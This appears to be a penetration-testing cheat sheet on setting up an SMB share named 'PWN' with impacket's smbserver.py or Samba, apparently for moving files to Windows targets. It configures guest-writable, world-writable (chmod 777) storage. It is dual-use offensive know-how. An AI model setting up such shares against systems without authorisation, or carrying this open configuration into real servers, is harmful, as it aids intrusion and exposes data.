SMB

smbserver

# Install/Upgrade impacket
sudo python3 -m pip install --upgrade impacket

# Run SMB server
cd $(mktemp -d) && sudo smbserver.py PWN . &

# Eventually check if everything is working
echo -e "shares\nuse PWN\nls" | smbclient.py localhost -no-pass

Windows policies can deny guest access and/or smbv1, you can enable smb2

smbserver.py PWN . -ip 0.0.0.0 -smb2support -username bla -password bla

samba

When smbserver doesn’t work as intended, samba is a good alternative.

sudo apt install samba
sudo cp /etc/samba/smb.conf /etc/samba/smb.conf.ori
sudo vim /etc/samba/smb.conf

Configuration example bellow

[global]
  workgroup = WORKGROUP
  server string = %h server (Samba, Ubuntu)
  log file = /var/log/samba/log.%m
  max log size = 1000
  logging = file
  panic action = /usr/share/samba/panic-action %d
  server role = standalone server
  obey pam restrictions = yes
  unix password sync = yes
  passwd program = /usr/bin/passwd %u
  passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
  pam password change = yes
  map to guest = bad user
  usershare allow guests = yes

[PWN]
  comment = PWN
  path = /tmp/PWN
  browsable = yes
  guest ok = yes
  read only = no
  create mask = 0775
  force create mode = 0775
  security mask = 0775
  force security mode = 0775
  store dos attributes = yes
  directory mask = 2775
  force directory mode = 2775
  directory security mask = 2775
  force directory security mode = 2775

Then restart samba and create the shared folder

sudo service samba restart
mkdir /tmp/PWN
chmod 777 /tmp/PWN
